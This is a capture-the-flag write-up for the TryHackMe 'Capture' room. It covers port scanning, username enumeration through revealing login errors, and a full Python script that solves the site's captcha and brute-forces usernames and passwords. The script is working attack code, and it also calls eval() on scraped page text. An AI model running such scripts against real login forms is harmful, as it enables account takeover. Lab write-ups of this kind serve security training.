> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2023/capture.md).

# Capture

{% embed url="<https://tryhackme.com/room/capture>" %}

## Recon

Nmap reveals just the port 80 running a http server

```
root@ip-10-10-109-110:~# nmap -sT 10.10.188.148

Starting Nmap 7.60 ( https://nmap.org ) at 2023-05-23 20:48 BST
Nmap scan report for ip-10-10-188-148.eu-west-1.compute.internal (10.10.188.148)
Host is up (0.00039s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 02:9B:2E:2F:F4:F1 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds
```

Requesting the site, the site immediatly prompts us with a login prompt.

<figure><img src="/files/yOZel4IQgi63PVefpUeu" alt=""><figcaption></figcaption></figure>

Trying the first entries of the given usernames and password files we receive an error.

<figure><img src="/files/kTSgZRHeGk4s4JCS5aWF" alt=""><figcaption></figcaption></figure>

With the error message `Error: The user ‘rachel’ does not exist`, we are able to enumerate the used usernames in the application. This violates against the OWASP Authentication Guidelines

{% hint style="info" %}
<https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Authentication_Cheat_Sheet.md#authentication-and-error-messages>
{% endhint %}

> Using any of the authentication mechanisms (login, password reset or password recovery), an application must respond with a generic error message regardless of whether:
>
> * The user ID or password was incorrect.
> * The account does not exist.
> * The account is locked or disabled.

So the first step to do ist to enumerate the user, with the correct user, we can go further and brute force the corresponding password.

<figure><img src="/files/LMaBLEOOMygH348R043e" alt=""><figcaption></figcaption></figure>

Part of the challenge is to bypass their rate limiter:

> SecureSolaCoders has once again developed a web application. They were tired of hackers enumerating and exploiting their previous login form. They thought a Web Application Firewall (WAF) was too overkill and unnecessary, so they developed their own rate limiter and modified the code slightly.

This is implemented with an easy to retrievable captcha which will be solved within the script.

With a wrong captcha we get the error message **`Error`**`: Invalid captcha`. This might come in handy if our script doesn’t evaluate the captcha correctly to filter out false-positives.

## Retrieving existing users

So for now we know two error messages we have to check, if we receive a caputure and doesn’t solve it we get the message Error: Invalid captcha, entering a wrong username with correct captcha gives us the error message **`Error`**`: The user ‘USERNAME’ does not exists`.

In Burp the request looks as follows:

<figure><img src="/files/g9FZBjiUgj37SFJlTVyK" alt=""><figcaption></figcaption></figure>

We have to submit the variables username, password and captcha in a http-post request.

To retrieve the error messages and the captcha a regex can be used. Crafting regex blind might be challenging, but with the help of regex101 its much easier:

{% hint style="info" %}
&#x20;<https://regex101.com/>
{% endhint %}

Regex for retrieving captchas

<figure><img src="/files/1sxWMNPBlb9bQrfhbqGA" alt=""><figcaption></figcaption></figure>

`[0-9]{1,3}\s[+\-*:\/]\s[0-9]{1,3}`

Regex for retrieving error messages non existing user

<figure><img src="/files/Q4vGBIZ66lPuxRPzUfGm" alt=""><figcaption></figcaption></figure>

But looking into the source code, we have to url encode `‘` otherwise our regex wont work

```
<p class="error"><strong>Error:</strong> The user &#39;rachel&#39; does not exist

```

<figure><img src="/files/DqnMgISSKgP7xBcsYmQS" alt=""><figcaption></figcaption></figure>

`The user '.*' does not exist`

{% code title="" %}

```python
import requests
import re

valid_users = []

_url = 'http://10.10.188.148/login'
_captcha_regex = r"[0-9]{1,3}\s[+\-*:\/]\s[0-9]{1,3}"
_error_user_regex = r"The user &#39;.*&#39; does not exist"
_pass = 'rachel'
_user = 'football'
_result = 0

_data = {'username':_user,'password':_pass,'captcha':_result}

# get usernames from file, removing whitespaces
with open('usernames.txt') as f:
    users = [line.rstrip() for line in f]

# for each user craft a post request with given data, for user enumeration the 
# password stays static
for username in users:
		# start with an invalid request to retrive the captcha
    response = requests.post(_url, _data)
    text = response.text
    
		# get the captcha
    captchas = re.findall(_captcha_regex,text)
		# evaluate the captcha
    result = eval(captchas[0])

    data = {'username':username,'password':_pass,'captcha':result}
    response = requests.post(_url, data)
    text = response.text
    captchas = re.findall(_captcha_regex,text)

    # find existing user
    if(len(re.findall(_error_user_regex, text)) == 0):
        valid_users.append(username)

print(valid_users)
```

{% endcode %}

Running our script takes a second and we get the user natalie

<figure><img src="/files/DO3rVkVaHfxzxH0P2S1I" alt=""><figcaption></figcaption></figure>

## Retrieving corresponding password

Now we start over again, entering the username natalie with a valid captcha to check for the invalid password error message, to craft another regex. With this we repeat the requests until we receive a response without any error messages and print the http response.

<figure><img src="/files/36inRmkfQ4aPwtQX0Sav" alt=""><figcaption></figcaption></figure>

Error message **`Error`**`: Invalid password for user ‘natalie’`

<figure><img src="/files/0eOnBDHGt4g2opjO5rfG" alt=""><figcaption></figcaption></figure>

`Invalid password for user &#39;.*&#39;`

For the purpose of finding the correct password we can reuse our previous loop with slightly modifications.

{% code title="capture.py" %}

```python
import requests
import re

valid_users = []

_url = 'http://10.10.188.148/login'
_path_users_file = 'usernames.txt'
_path_passwords_file = 'passwords.txt'
_captcha_regex = r"[0-9]{1,3}\s[+\-*:\/]\s[0-9]{1,3}"
_error_user_regex = r"The user &#39;.*&#39; does not exist"
_error_password_regex = r"Invalid password for user &#39;.*&#39;"
_error_captcha_regex =  r"Invalid captcha"
_pass = 'rachel'
_user = 'football'
_result = 0

_data = {'username':_user,'password':_pass,'captcha':_result}

# get usernames from file, removing whitespaces
with open(_path_users_file) as f:
    users = [line.rstrip() for line in f]

# for each user craft a post request with given data, for user enumeration the 
# password stays static
for username in users:
	# start with an invalid request to retrive the captcha
    response = requests.post(_url, _data)
    text = response.text
    
	# get the captcha
    captchas = re.findall(_captcha_regex,text)
	# evaluate the captcha
    result = eval(captchas[0])

    data = {'username':username,'password':_pass,'captcha':result}
    response = requests.post(_url, data)
    text = response.text
    captchas = re.findall(_captcha_regex,text)

    # find existing user
    if(len(re.findall(_error_user_regex, text)) == 0 and len(re.findall(_error_captcha_regex, text)) == 0):
        valid_users.append(username)

print(valid_users)

with open(_path_passwords_file) as f:
    passwords = [line.rstrip() for line in f]

# for each valid user try all passwords until no error messages resolve
for valid_user in valid_users:
    for password in passwords:

        response = requests.post(_url, _data)
        text = response.text

        captchas = re.findall(_captcha_regex,text)
        result = eval(captchas[0])
        data = {'username':valid_user,'password':password,'captcha':result}

        response = requests.post(_url, data)
        text = response.text
        captchas = re.findall(_captcha_regex,text)
        
        if(len(re.findall(_error_password_regex, text)) == 0 and len(re.findall(_error_captcha_regex, text)) == 0):
            print(valid_user + " : " + password)
            print(text)
            break
```

{% endcode %}

<figure><img src="/files/WoG2td5IewjM49AGH5gd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Tki730QuaN5h6LHtJNSP" alt=""><figcaption></figcaption></figure>
